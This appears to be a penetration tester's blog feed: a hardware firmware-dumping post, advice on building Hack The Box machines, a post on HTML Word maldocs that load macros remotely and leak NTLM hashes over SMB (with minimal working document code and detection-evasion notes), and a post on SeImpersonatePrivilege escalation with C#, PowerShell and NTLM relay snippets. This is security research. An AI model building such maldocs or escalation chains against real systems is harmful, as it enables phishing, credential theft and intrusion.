<p>The common software I found for dumping flash memory was flashrom. I found a <a href="https://boschko.ca/hardware_hacking_yo_male_fertility/">post</a> of someone trying to dump the same flash chip. The bad news is that they weren’t able to get flashrom working and opted to use UART. Unfortunately for me I was unable to identify any UART pins. The MX25L12833F did not appear to be supported in flashrom 1.2 which is the latest packaged binary version. Looking at the version on GitHub there is <a href="https://github.com/flashrom/flashrom/commit/cf6668b86b0978867c2385f5311894709374a11c">mention</a> of the chip. So since the release in 2021 support for it appeared to be added. The following is a list of commands to compile and install the latest version from GitHub on the latest version of Ubuntu.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">sudo </span>apt <span class="nb">install </span>libpci-dev zlib1g-dev libftdi1-dev libusb-dev libusb-1.0-0-dev build-essential pkg-config
git clone https://github.com/flashrom/flashrom.git
<span class="nb">cd </span>flashrom
make
<span class="nb">sudo </span>make <span class="nb">install</span></code></pre></figure>
<p>However, after getting the latest version installed it didn’t seem to detect any flash device at all. This I determined to be due to the fact the clip wasn’t making good contact. After numerous times reseating the clip it finally recognized at least something but gave the following error.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/read-error.webp" alt="Read Error" /></p>
<p>At this point I started printing the probing jig mentioned above as the clip was annoying to use. The clip I had was an inexpensive one so maybe there are better ones out there but I didn’t have a great experience with them. Also, to eliminate any potential of anything else on the board interfering I tried desoldering the chip and then tried to use the flashrom tool again. However, I still got the same error. This made me think it was definitely a problem with the tool.</p>
<p>I started looking for alternative software to flashrom. There wasn’t much I found except for the <a href="https://github.com/tigard-tools/tigard#software-1">Tigard wiki page</a>. It mentions that flashrom is slow and two other viable alternatives are libmpsse and pyftdi. Of those they recommended pyftdi and even listed instructions on using it. Using the instructions I was able to dump the flash successfully. It’s good to do this twice and diff the two to make sure that you got a good read.</p>
<p><img src="/assets/img/dumping-firmware-from-a-reolink-camera/successfull-read.webp" alt="Successfull Read" /></p>
<p>After getting the reference firmware from the working device I tried writing it to the bricked device. However, after trying twice to write it and read it back it was different from the reference in both attempts. Hoping for the best I tried powering it on and it didn’t work still. So far I haven’t achieved the original intent of fixing the camera. However, I have learned a decent amount and now have a copy of the firmware I can emulate in QEMU.</p>Micah Van DeusenThis originally started out as an attempt to fix a Reolink RLC-520 camera that was bricked in a firmware update. In the end, I still haven’t figured out how to get it working again. I was, however, able to dump the firmware from a working reference camera of the same revision and also get the firmware running in QEMU. The emulation portion will likely be in a separate part 2.Creating a Vulnerable Machine2021-07-14T00:00:00+00:002021-07-14T00:00:00+00:00https://micahvandeusen.com/creating-a-vulnerable-machine<h2 id="overview">Overview</h2>
<p>Over the past year or more I have created two machines for the Hack The Box platform, Cereal and Intelligence. When I started, and still to this day, outside of the official submission criteria there exists a distinct lack of information on creating content for Hack The Box, OffSec Proving Grounds, TryHackMe, etc. The following will be my thoughts and opinions on how to create a vulnerable machine and some of the lessons I have learned. If you have differing views on any of what I have to say feel free to message me on Twitter, Discord, etc and I would be glad to discuss.</p>
<h2 id="the-focus-should-be-on-teaching-something-new">The focus should be on teaching something new.</h2>
<p>When designing and creating a vulnerable machine the goal should be to teach something. Sure there may be other reasons, but I believe the main reason someone will attempt to hack this machine you are creating is to learn something new. This could be a twist on an existing attack or a new technology, the sky’s the limit. There isn’t a tutorial or pdf guide to go along with the machine so this makes designing a machine even harder. I think that erring on the side of as much hand holding as possible is the way to go. What this looks like is that you want the user to know what they need to do or learn and not leave them entirely clueless. This is easier said than done. Especially if you want to require any significant amount of enumeration. You also have to take into account your target audience for the machine and their existing experience. Little clues and pointers along the way can be helpful. In hindsight, I definitely see areas where I could have improved on Cereal. For example, a big assumption jump in the user exploit chain is that there is an admin user visiting the site that you can attack with a cross-site scripting payload. From the functionality of the site you could assume it. However, what would have been better would be something along the lines of a message that the user’s request would be reviewed shortly or in x amount of time. That would have removed unnecessary guesswork.</p>
<h2 id="why-create-one">Why create one?</h2>
<p>Both of the boxes I submitted were created before there was any monetary incentive to create them. So why did I do it?</p>
<ul>
<li>You learn as teaching is one of the best ways to fully understand something. You really need a deep understanding of the vulnerabilities you utilize. It’s one thing to exploit something, it’s another to create a vulnerable system that doesn’t have an unintended compromise path, is stable under heavy load, and has a cohesive flow to it.</li>
<li>It’s fun. Hacking, dissecting, and abusing things is enjoyable and is what I do day to day. Before my current job I spent a lot more time doing web development and server administration. Developing a vulnerable machine is a way to combine the hacking aspect with creating something. I used it as a means to learn and play around more with PowerShell, scripting, automation, CI/CD, Active Directory, and a whole host of other tools and applications I don’t use as much nowadays.</li>
<li>There is an end goal that provides motivation to finish building something awesome. It’s cool going from some random thoughts of cool potential vulnerabilities to a machine that is live on a platform with 600k+ users.
Overall, I had a great experience with the Hack The Box staff with the two machines I submitted. The main complaint I had was the time it takes for the review process. However, this is understandable with the amount of submissions.</li>
</ul>
<h2 id="the-plan">The plan.</h2>
<p><strong>What is lacking.</strong> Before anything I like to determine what the theme of the box will be. To do this I think it’s best to look at what is currently lacking. If the platform has had all Linux machines with the same type of vulnerability, change it up and create something different. One of the reasons for creating Cereal was I had recently taken the Offensive Security Web Expert course/certificate and observed there wasn’t much online in regard to source code analysis labs. That prompted me to create something with a heavy focus on source code analysis.</p>
<p><strong>Find some vulnerabilities.</strong> Most of the ideas of vulnerabilities have come from either something I was learning and my current research projects or just cool and interesting ones I have come across during my job. For example, at the time of creating Cereal I was learning more about session riding, deserialization, and the SeImpersonatePrivilege and for this reason I wanted to utilize them in the machine. In general, most types of vulnerabilities can broadly be broken down into two categories: misconfigurations and insecure software. So for example SQL injection, XSS, SSRF, and various CVEs I would all classify as insecure software. On the other hand, misconfigurations are not something that a patch or update will fix. Instead these are more insecure Active Directory configurations, exposed sensitive APIs, and passwords stored incorrectly. For coming up with insecure software there are two main routes. That is to either build it or find it. This is where having some application development experience can come in handy if you want to develop a custom vulnerable application. To find existing vulnerable software you could look through recent CVEs, or even old ones for that matter, to find one that would fit. Another option to identify both potential misconfigurations and insecure software would be by looking through bug bounty reports. The following links are some of the best lists I know of that can also help out:</p>
<ul>
<li>https://book.hacktricks.xyz/</li>
<li>https://bitvijays.github.io/LFC-VulnerableMachines.html</li>
<li>https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources</li>
</ul>
<p><strong>Support multiple users.</strong> It’s important to consider that most people will be attacking your machine at the same time and will be at different stages in exploitation. You want to not require anything to exploit it that would break the machine for anyone else or weaken the state of the machine. Any services and exploits should be reliable as well and not cause stability issues. This is one of the biggest things that can make a box unenjoyable. If you do require the user to modify, add, upload, etc then it’s good to have some scheduled task to go and clean up any files left behind.</p>
<p><strong>Make it difficult in the right ways.</strong> Depending on the difficulty intended I suggest to try and make the path as clear as possible and have the exploitation of it be where the difficulty arises. When you are trying to compromise a machine the most demoralizing part is when you have no idea where to even start. What this looks like is giving choice pointers and hints. Don’t directly say what the vulnerability is but guide in the right direction.</p>
<p><strong>Limit brute forcing.</strong> Tying into the last point, what you should not do is make the machine difficult by requiring brute forcing. Typically, this will just annoy users more than teach them something. If you do have any bruteforcing make it so a common wordlist will work. For password cracking you should use something from rockyou and if it’s a directory use something from raft.</p>
<p><strong>Tying it all together.</strong> Once you have a main theme and several potential specific vulnerabilities, things start to fall into place and you can fill in the specific steps of the attack path or at least a rough outline of them. The most planning I did ahead of moving into implementation was a very rough draft. Especially considering the root portion of Cereal completely changed after feedback from HTB staff.</p>
<h2 id="implementation">Implementation.</h2>
<p><strong>Don’t use a public domain or IP address.</strong> One thing that I learned after submitting my first machine was to not use any public domains or IP addresses. This was one of the many modifications I made to Cereal after receiving feedback from HTB and I even missed one. Since the top level domain of HTB doesn’t exist, a good domain to use would be the format machinename.htb. The risk here is that you don’t want anyone attacking the machine to accidentally attack a public system that is out of scope.</p>
<p><strong>Automate everything.</strong> I started out without automating or scripting anything and quickly realized that was a bad idea. There will likely be many things on the machine that you screw up, misconfigure, or decide to completely redesign. Having the ability to just recreate the machine is incredibly helpful. There have been several machines that I have done where I could identify the exploit path from timestamps, system logs, and other artifacts left behind by the creator. With automation it is easier to have a clean machine without any of those. As a plus you can probably reuse portions of your scripts if you create more than one machine. There are tons of different options out there for automation so I won’t recommend any in particular and they vary between what operating system you use. However, a good starting point would be PowerShell for Windows and shell scripting for Linux.</p>
<p><strong>Think about the resources.</strong> When creating a machine you need to consider the resources being used. If you are creating something with Windows I highly recommend using Server Core as it is more lightweight. Monitor the idle cpu and memory usage of the machine and identify any culprits. One problem I ran into was a user simulation program that used Chrome. Some tweaking of how frequently it updated was required to lower the resources it used.</p>
<h2 id="dont-take-feedback-too-personally">Don’t take feedback too personally.</h2>
<p>What makes a good machine? You will soon find that this is highly subjective. What one person finds as a fantastic machine could be boring to someone else. One person may love web application attacks and not active directory attacks or vice versa. Do not be surprised or disappointed when you do get negative feedback. Be careful to properly assess any feedback to determine if it’s subjective or something you actually could have done better. This is easier said than done. What I am not saying is to just disregard all feedback. Maybe the box really was hot garbage. Instead try and sift the subjectiveness out of the feedback. If someone tells you the box was bad without any context of why, that is not helpful at all. If the feedback includes specifics take note as good feedback is hard to find. A lot of people don’t recognize the amount of work that can go into it. So even if you create a flop, you still made something and can learn from it.</p>Micah Van DeusenOverview Over the past year or more I have created two machines for the Hack The Box platform, Cereal and Intelligence. When I started, and still to this day, outside of the official submission criteria there exists a distinct lack of information on creating content for Hack The Box, OffSec Proving Grounds, TryHackMe, etc. The following will be my thoughts and opinions on how to create a vulnerable machine and some of the lessons I have learned. If you have differing views on any of what I have to say feel free to message me on Twitter, Discord, etc and I would be glad to discuss.HTML Maldoc Remote Macro Injection2021-04-06T00:00:00+00:002021-04-06T00:00:00+00:00https://micahvandeusen.com/html-maldoc-remote-macro-injection<h2 id="overview">Overview</h2>
<p>While looking into the filetypes supported by Microsoft Word, I discovered that HTML Word documents support loading macros from remote locations. These HTML files can have typical file extensions, such as .doc or .rtf, and can be very short and simple. This can provide another method for evading file delivery and endpoint detections. I have not found any existing information about this specific technique, so as far as I am aware this is new.</p>
<h2 id="why-remote-is-better">Why Remote Is Better</h2>
<p>The document we are sending to the user is totally benign and the malicious part is fetched from a remote location. There are several reasons we would want to do this. It makes it easier to bypass any scanning of email attachments. We are also able to control what the macro should be based on the IP or user agent of the person requesting it. With this we can have a benign macro displayed to automated scanners and then only set the actual payload for the target.</p>
<h2 id="word--file-types">Word & File Types</h2>
<p>One thing that is important to note is that Word uses more information than just the file extension to determine the file type. There is more information about this <a href="https://medium.com/walmartglobaltech/ms-office-file-formats-advanced-malicious-document-maldoc-techniques-b5f948950fdf">here</a>. Because of this behavior of Word we can create any format of Word document and just rename the file extension to another, with some exceptions. The newer file extensions like .docx are stricter in what they allow. Also, Excel is a bit different than Word here. Some extensions with Excel will cause an additional dialog box. For example, if we change an .xlsx document to .csv and open with Excel we get the following message.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/excel-error.webp" alt="Excel Error" /></p>
<p>What we want is a Word document that supports macros. The following is a list of some of the file types that Word supports saving with macros.</p>
<table>
<tbody>
<tr>
<td>File Formats with Macro Support</td>
<td> </td>
</tr>
<tr>
<td>.docm</td>
<td>Word Macro-Enabled Document</td>
</tr>
<tr>
<td>.doc</td>
<td>Word 97-2003 Document</td>
</tr>
<tr>
<td>.dotm</td>
<td>Word Macro-Enabled Template</td>
</tr>
<tr>
<td>.dot</td>
<td>Word 97-2003 Template</td>
</tr>
<tr>
<td>.html</td>
<td>Web Page</td>
</tr>
<tr>
<td>.mhtml</td>
<td>Single File Web Page</td>
</tr>
<tr>
<td>.xml</td>
<td>Word 2003 XML Document</td>
</tr>
</tbody>
</table>
<h2 id="html-word-documents">HTML Word Documents</h2>
<p>One of the formats that Word can save as from that list is an HTML file.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/save-as.webp" alt="SaveAs Prompt" /></p>
<p>Since .html files don’t open by default in Word let’s rename it to .doc or .rtf. If we look at the HTML source that it generates we can see that it is including several files from a subdirectory.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/html-word.webp" alt="Word HTML Source" /></p>
<p>It turns out we can almost remove everything from this file and still have the macros work.
The editdata.mso file contains the macro information while filelist.xml includes a list of files.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><head></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">File-List</span> <span class="na">href=</span><span class="s">"Test%20Document_files/filelist.xml"</span><span class="nt">></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">Edit-Time-Data</span> <span class="na">href=</span><span class="s">"Test%20Document_files/editdata.mso"</span><span class="nt">></span>
<span class="nt"></head></span></code></pre></figure>
<h2 id="remote-macro-injection">Remote Macro Injection</h2>
<p>What is preventing these files from being served remotely? Let’s try it.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><head></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">File-List</span> <span class="na">href=</span><span class="s">"http://127.0.0.1/filelist.xml"</span><span class="nt">></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">Edit-Time-Data</span> <span class="na">href=</span><span class="s">"http://127.0.0.1/editdata.mso"</span><span class="nt">></span>
<span class="nt"></head></span></code></pre></figure>
<p>Opening the document we are greeted by the following additional warning message. This is the main downside to using this instead of the traditional remote template injection as described <a href="http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html">here</a>.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/word-prompt.webp" alt="Word Warning Prompt" /></p>
<p>If we check the web server we can see that for some reason the filelist.xml file wasn’t loaded.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/http-request.webp" alt="HTTP Request" /></p>
<p>Removing this file from our document leaves us with one of the smallest maldocs possible.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><head></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">Edit-Time-Data</span> <span class="na">href=</span><span class="s">"http://127.0.0.1/editdata.mso"</span><span class="nt">></span>
<span class="nt"></head></span></code></pre></figure>
<p>Uploading a version pointing to a public IP hosting a malicous macro to VirusTotal returns a total of 0 vendors that flagged it. Also VirusTotal says it is an HTML document and not a Word document.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/virustotal.webp" alt="VirusTotal" /></p>
<h2 id="ntlm-hash-disclosure">NTLM Hash Disclosure</h2>
<p>We showed that the editdata.mso file could be loaded over HTTP but it also works over SMB.
Let’s add a link for another file colorschememapping.xml.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><head></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">Edit-Time-Data</span> <span class="na">href=</span><span class="s">"http://127.0.0.1/editdata.mso"</span><span class="nt">></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">colorSchemeMapping</span> <span class="na">href=</span><span class="s">"//127.0.0.1/colorschememapping.xml"</span><span class="nt">></span>
<span class="nt"></head></span></code></pre></figure>
<p>With this we get a hash back and the macro still works fine. The hash disclosure even happens before you accept the dialog box about the files not being in an expected location. If you wanted even more control over the delivery of the malicious macro you could probably even write something to serve the malicious editdata.mso file on the proper username from the hash disclosure.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/hash-disclosure.webp" alt="Hash Disclosure" /></p>
<h2 id="adding-content">Adding Content</h2>
<p>Since we removed all of the content of the document a user would be presented with a blank document on opening. This would be suspicious. Because this is an HTML Word document we can easily just add some HTML with inline CSS styling.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><head></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">Edit-Time-Data</span> <span class="na">href=</span><span class="s">"http://127.0.0.1/editdata.mso"</span><span class="nt">></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">colorSchemeMapping</span> <span class="na">href=</span><span class="s">"//127.0.0.1/colorschememapping.xml"</span><span class="nt">></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><h1</span> <span class="na">style=</span><span class="s">"color:red;text-align:center;"</span><span class="nt">></span>This is a not a malicious file.<span class="nt"></h1></span>
<span class="nt"><p></span>Some very convincing pretext.<span class="nt"></p></span>
<span class="nt"></body></span></code></pre></figure>
<p>Opening the file now we have our complete maldoc ready to send to our victim.</p>
<p><img src="/assets/img/html-maldoc-remote-macro-injection/word-doc.webp" alt="Word Maldoc" /></p>Micah Van DeusenOverview While looking into the filetypes supported by Microsoft Word, I discovered that HTML Word documents support loading macros from remote locations. These HTML files can have typical file extensions, such as .doc or .rtf, and can be very short and simple. This can provide another method for evading file delivery and endpoint detections. I have not found any existing information about this specific technique, so as far as I am aware this is new.The Power of SeImpersonation2021-04-01T00:00:00+00:002021-04-01T00:00:00+00:00https://micahvandeusen.com/the-power-of-seimpersonation<h2 id="overview">Overview</h2>
<p>SeImpersonate is a powerful privilege that allows the ability to impersonate any token it can acquire a handle on. This is an already well researched privilege as there are a whole slew of privilege escalations that utilize this privilege and amazing articles and existing tools. What I will be doing is taking a step back and looking at the common denominator between the potato family, SeImpersonatePrivilege.</p>
<h2 id="what-are-tokens">What are tokens?</h2>
<p>Before we dive straight in, it would be good to give some background on what we are even talking about. When you login to a system whether it is locally, over the network, as a service, or even directly calling the LogonUser API function the authentication package creates a logon session and then has Local Security Authority (LSA) create an access token for the user. This token represents the account security context and contains information including:</p>
<ul>
<li>The ID of the logon session</li>
<li>User and group SIDs</li>
<li>The integrity level</li>
<li>Privileges held by the user or groups the user is in</li>
</ul>
<p>Everything in a user’s session by default runs under the same token because a child process inherits the parent token. One thing to be careful of is what is called restricted tokens. This is tied to User Account Control (UAC). When you login you will actually be assigned two tokens. One being the token with full access. The other token will be a restricted or filtered token that will only have a subset of the permissions. It is the restricted token that Windows Explorer and most processes typically will run under. The most relevant part about the restricted token is that it may not even list some of the privileges that the user has. So, if we want to use the unrestricted token, UAC requires “run as administrator” and going through the elevation prompt. That is unless the parent process is already high integrity.
Now there are two types of tokens: primary and impersonation. Primary tokens are only able to be attached to a process while impersonation tokens can only be attached to threads. Impersonation is how a server can assume the identity of a client and the security access that the user has. The impersonation is only temporary and overrides the primary token for just the thread until it finishes.
There are several levels of impersonation tokens.</p>
<ul>
<li>Anonymous is where the server has no knowledge of the client.</li>
<li>Identification is where the server can obtain the client’s identity including its SID’s and privileges to be used for access control checks. This is the most common level.</li>
<li>Impersonation is where the server can impersonate and act on behalf of the client to the local system. This is the level we really want for privilege escalation.</li>
<li>Delegation is where the server can impersonate the client on both local and remote systems.</li>
</ul>
<h2 id="what-are-privileges">What are privileges?</h2>
<p>Privileges are special rights to perform various system operations. These are assigned to the user and as mentioned earlier are listed in the user token. They can be in an enabled or disabled state. This isn’t to be confused with restricted tokens. It’s fairly trivial to enable a privilege and it is merely used as a safeguard to prevent unintended actions.</p>
<p>Here we have a regular command prompt using the restricted token.
<img src="/assets/img/the-power-of-seimpersonate/whoami.webp" alt="Whoami" /></p>
<p>Note that there are only a handful of privileges listed. This is because we are using a restricted token. Also note that some of these privileges are disabled.</p>
<p>Here we have an elevated command prompt with many more privileges listed.
<img src="/assets/img/the-power-of-seimpersonate/whoami-priv.webp" alt="Whoami Privileged" /></p>
<p>We already mentioned that SeImpersonatePrivilege can allow us to impersonate a token of a user and run under the security context of it. There is also a very similar sibling of SeImpersonatePrivilege called SeAssignPrimaryTokenPrivilege. If we have SeImpersonatePrivilege we can call CreateProcessWithTokenW() to create a process with the token we have. It’s sibling SeAssignPrimaryTokenPrivilege allows the ability to call CreateProcessAsUserA() which performs similarly. Another option would be to create a thread and set the token of the thread with either SetThreadToken() or ImpersonateLoggedOnUser(). One API call that can come in handy is DuplicateTokenEx() which will duplicate a token but you can specify the type of token you want.</p>
<h2 id="enabling-privileges">Enabling Privileges</h2>
<p>The process of enabling privileges is fairly simple and involves a handful of API calls.
We first need the token of the current process. By calling GetCurrentProcess() we can get a handle to our process.
With the handle we can get the token for the process with OpenProcessToken(). For this call we need to specify what access we need which is TOKEN_ADJUST_PRIVILEGES and TOKEN_QUERY. The next information needed is the locally unique identifier (LUID) of the privilege we want to enable or disable. This can be acquired by passing the privilege name to LookupPrivilegeValue(). Next we can modify the privilege on the token with a call to AdjustTokenPrivileges() with the token of our process and the LUID of the privilege.
This is the needed C# code to enable a privilege:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="kt">var</span> <span class="n">locallyUniqueIdentifier</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">LUID</span><span class="p">();</span>
<span class="nf">LookupPrivilegeValue</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="n">securityEntityValue</span><span class="p">,</span> <span class="k">ref</span> <span class="n">locallyUniqueIdentifier</span><span class="p">)</span>
<span class="kt">var</span> <span class="n">TOKEN_PRIVILEGES</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">TOKEN_PRIVILEGES</span><span class="p">();</span>
<span class="n">TOKEN_PRIVILEGES</span><span class="p">.</span><span class="n">PrivilegeCount</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span>
<span class="n">TOKEN_PRIVILEGES</span><span class="p">.</span><span class="n">Attributes</span> <span class="p">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
<span class="n">TOKEN_PRIVILEGES</span><span class="p">.</span><span class="n">Luid</span> <span class="p">=</span> <span class="n">locallyUniqueIdentifier</span><span class="p">;</span>
<span class="kt">var</span> <span class="n">tokenHandle</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
<span class="kt">var</span> <span class="n">currentProcess</span> <span class="p">=</span> <span class="nf">GetCurrentProcess</span><span class="p">();</span>
<span class="nf">OpenProcessToken</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">,</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="p">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="k">out</span> <span class="n">tokenHandle</span><span class="p">)</span>
<span class="nf">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">tokenHandle</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="k">ref</span> <span class="n">TOKEN_PRIVILEGES</span><span class="p">,</span> <span class="m">1024</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">)</span></code></pre></figure>
<h2 id="granting-privileges">Granting Privileges</h2>
<p>We can add or remove SeImpersonatePrivilege for a user by modifying the local security policy.
<img src="/assets/img/the-power-of-seimpersonate/local-sec-pol.webp" alt="Local Security Policy" /></p>
<p>If you want to enable privileges programmatically it gets more complicated. You need to export the security policy, add the SID of the user you want to the privilege, and then import the modified security policy.
We can export the security policy by running</p>
<figure class="highlight"><pre><code class="language-console" data-lang="console"><span class="go">secedit /export /cfg c:\secpol.cfg</span></code></pre></figure>
<p>Under the Privilege Rights section in the exported policy we can see where SeImpersonatePrivilege exists.
<img src="/assets/img/the-power-of-seimpersonate/secpol-before.webp" alt="Security Policy Before Modification" /></p>
<p>The SIDs that are listed are some of the default built-in accounts. We need to get the SID of our user to add here. This can be done with the following:</p>
<figure class="highlight"><pre><code class="language-powershell" data-lang="powershell"><span class="nv">$account</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Security.Principal.NTAccount</span><span class="p">(</span><span class="s1">'username'</span><span class="p">)</span><span class="w">
</span><span class="nv">$sid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$account</span><span class="o">.</span><span class="nf">Translate</span><span class="p">([</span><span class="n">System.Security.Principal.SecurityIdentifier</span><span class="p">])</span><span class="o">.</span><span class="nf">value</span></code></pre></figure>
<p>We can then use PowerShell to add our user’s SID to that line.</p>
<figure class="highlight"><pre><code class="language-powershell" data-lang="powershell"><span class="p">(</span><span class="n">gc</span><span class="w"> </span><span class="nx">C:\secpol.cfg</span><span class="p">)</span><span class="o">.</span><span class="nf">replace</span><span class="p">(</span><span class="s2">"SeImpersonatePrivilege = "</span><span class="p">,</span><span class="w">
</span><span class="s2">"SeImpersonatePrivilege = *</span><span class="nv">$sid</span><span class="s2">,"</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-File</span><span class="w"> </span><span class="nx">C:\secpol.cfg</span></code></pre></figure>
<p>The file should now look like this.
<img src="/assets/img/the-power-of-seimpersonate/secpol-after.webp" alt="Security Policy After Modification" /></p>
<p>We can now apply the modified policy and then remove the policy file.</p>
<figure class="highlight"><pre><code class="language-console" data-lang="console"><span class="go">secedit /configure /db c:\windows\security\local.sdb /cfg c:\secpol.cfg /areas user_rights
</span><span class="gp">rm -force c:\secpol.cfg -confirm:$</span><span class="nb">false</span></code></pre></figure>
<p>If we look in the log file from secedit we can see that our user was successfully given SeImpersonateprivilege.
<img src="/assets/img/the-power-of-seimpersonate/secpol-complete.webp" alt="Successfully Configured Security Policy" /></p>
<h2 id="the-potato-family">The Potato Family</h2>
<p>Potatoes can come in a wide variety of ways: Hot, Juicy, Rotten, Rogue, Sweet. However, they are all potatoes. What varies from potato exploit to exploit is the means of getting hands on the token to impersonate. This token we want to be of a higher privilege user than the current user to elevate privileges. The following is brief descriptions of the potato exploits. Notice what is different and what is the same.</p>
<table>
<tbody>
<tr>
<td>HotPotato (2016)</td>
<td>Used UDP port exhaustion to cause DNS queries to fail and fallback to NBNS. Performed NBNS spoofing to serve WPAD and force HTTP authentication. Relayed HTTP NTLM authentication to SMB. The ability to relay HTTP to SMB was fixed by Microsoft (MS16-075).</td>
</tr>
<tr>
<td>RottenPotato (2016)</td>
<td>Forced RPC authentication with CoGetInstanceFromIStorage . Relayed NTLM authentication from the RPC connection to the local NTLM negotiator. This relay requires SeImpersonatePrivilege.</td>
</tr>
<tr>
<td>LonelyPotato (2017)</td>
<td>An adaption of RottenPotato</td>
</tr>
<tr>
<td>JuicyPotato (2018)</td>
<td>An adaption of RottenPotato</td>
</tr>
<tr>
<td>RogueWinRM (2019)</td>
<td>Used CoCreateInstance() to instantiate a BITS object which causes an authentication attempt to WinRM (port 5985). If WinRM is not running, which is default in Windows 10, a listener can be started on port 5985 and the NTLM HTTP authentication can be relayed to the local NTLM negotiator to obtain a token. This also requires SeImpersonatePrivilege.</td>
</tr>
<tr>
<td>RoguePotato (2020)</td>
<td>Microsoft broke Rotten/JuicyPotato by preventing the ability to specify a custom port for an OXID resolver address. This exploit still uses CoGetInstanceFromIStorage but uses a redirector and fake OXID RPC server. The fake OXID server resolves the request to a named pipe. Named pipes also allow for impersonation with RpcImpersonateClient(). This API call requires SeImpersonatePrivilege.</td>
</tr>
<tr>
<td>SweetPotato (2020)</td>
<td>Includes a method of using PrintSpoofer to authenticate to a named pipe and consequently impersonate.</td>
</tr>
</tbody>
</table>
<p>To help understand why SeImpersonatePrivilege exists let’s look at some places it is used. Two of the most common are IIS and MSSQL. By default, IIS_IUSRS and SERVICE are configured with this privilege. Also, any IIS application pool virtual account belongs to IIS_IUSRS and SERVICE. Microsoft doesn’t make it easy removing this privilege. You can get information on removing it <a href="https://decoder.cloud/2020/12/14/hands-off-my-iis-accounts/">here</a>. So why is this a default privilege? It is because your web application just maybe might need to impersonate a user. IIS will use the account of the application pool when accessing system resources unless impersonation is specified in the config. If it is, then IIS will use the security context of the user logged into the site.</p>
<h2 id="grow-your-own-potato">Grow Your Own Potato</h2>
<p>Suppose we are on a system and the user we have access to has SeImpersonatePrivilege. However, the system doesn’t have the print service running which prevents SweetPotato. In addition, WinRM is running preventing RogueWinRM. To top it all off, you don’t have outbound RPC allowed to any machine you control and the BITS service is disabled preventing RoguePotato. What can you do? Grow your own potato. The one ingredient you need to find on the machine is a way to cause an authentication. Two simple ways are with HTTP or a file write. All we need is to cause an application or user with higher privileges to authenticate to us over HTTP or write to our named pipe. This could be an application running as SYSTEM or a local administrator user. We can turn a server-side request forgery into local privilege escalation. Here is an example of what would trigger an HTTP authentication attempt. This is what would be run from a higher privilege user.</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">WebRequest</span> <span class="n">req</span> <span class="p">=</span> <span class="n">WebRequest</span><span class="p">.</span><span class="nf">Create</span><span class="p">(</span><span class="s">"http://127.0.0.1:8888"</span><span class="p">));</span>
<span class="n">req</span><span class="p">.</span><span class="n">Credentials</span> <span class="p">=</span> <span class="n">System</span><span class="p">.</span><span class="n">Net</span><span class="p">.</span><span class="n">CredentialCache</span><span class="p">.</span><span class="n">DefaultNetworkCredentials</span><span class="p">;</span>
<span class="n">WebResponse</span> <span class="n">resp</span> <span class="p">=</span> <span class="n">req</span><span class="p">.</span><span class="nf">GetResponse</span><span class="p">();</span></code></pre></figure>
<p>I started looking into methods to impersonate the user making the HTTP request. The first thing I tried was modifying the SweetPotato exploit code. To do this I changed the WinRMListener method in PotatoAPI.cs to request NTLM authentication. The code does all the parsing and sending of raw HTTP requests to relay the NTLM authentication to the local negotiator. There is a great article that goes into details on SSPI & NTLMSSP here <a href="https://en.hackndo.com/ntlm-relay/#sspi--ntlmssp">https://en.hackndo.com/ntlm-relay/#sspi–ntlmssp</a>.
It would receive any HTTP request and send back a 401 response signaling the need for authentication.</p>
<figure class="highlight"><pre><code class="language-http" data-lang="http"><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">401</span> <span class="ne">Unauthorized\r\n</span>
<span class="s"> WWW-Authenticate: Negotiate\r\n</span>
<span class="s"> Content-Length: 0\r\n</span>
<span class="s"> Connection: Keep-alive\r\n\r\n</span></code></pre></figure>
